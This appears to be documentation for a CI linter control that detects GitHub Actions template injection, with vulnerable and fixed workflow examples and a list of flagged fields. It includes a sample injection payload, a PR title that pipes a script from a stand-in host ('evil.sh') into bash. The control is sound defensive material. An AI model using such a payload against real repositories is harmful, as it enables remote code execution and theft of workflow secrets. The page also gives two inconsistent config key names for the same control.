Workflow inlines user input into a shell script
Control: Workflow must not inline user input into shell scripts · Config key: workflowMustNotInjectUserInputInScripts
📋 What is this?
A run: step inlines an attacker-controlled **free-text** github field directly into a shell command. The expression value is interpolated by GitHub *before* the shell parses it, so a malicious PR title, comment body, or branch name becomes part of the executed script. The check fires only on the genuinely injectable subfields (titles, bodies, ref names, commit messages, fork metadata, author identity) — numeric, boolean, enum and SHA fields are deliberately ignored because they cannot carry an injection payload.
⚠️ Impact
Template injection is the GitHub Actions equivalent of SQL injection. A PR titled foo; curl evil.sh | bash; #` becomes a runtime shell command with the workflow's secrets in scope. This is the #1 cause of secret exfiltration on GitHub Actions over the past two years.
🔧 How to fix
Bind the untrusted value to an env: variable first, then reference the env var from the shell. The shell quotes env-var expansion naturally, breaking the injection.
# .github/workflows/welcome.yml — ❌ Template injectionon: pull_request_targetjobs: welcome: runs-on: ubuntu-latest steps: - run: echo "Welcome ${{ github.event.pull_request.title }}!"# .github/workflows/welcome.yml — ✅ Bind through env:on: pull_request_targetjobs: welcome: runs-on: ubuntu-latest steps: - env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo "Welcome $PR_TITLE!"
# .plumber.yamlgithub: controls: workflowMustNotInlineUserInputIntoShell: enabled: true💡 Tips
- Flagged subfields (attacker-controlled free text):
*.title,*.body,head.ref,head.label,default_branch,*.message,*.description,*.homepage,author.name,author.email,committer.name,committer.email,page_name, andgithub.head_ref. - Deliberately not flagged:
pull_request.number,*.commits,head.repo.fork,event_name,author_association,*.sha,github.repository— these are integers, booleans, enums or SHAs that cannot carry shell metacharacters. -
github.repository,github.sha, andgithub.ref_nameare derived from server-trusted state — safer but still worth scoping. - Pair with ISSUE-802 to also catch the trigger side of the same attack.
⚙️ Configuration
This control is configured in .plumber.yaml under the github section:
github:
controls:
workflowMustNotInjectUserInputInScripts:
enabled: trueSee the CLI documentation for the full configuration reference.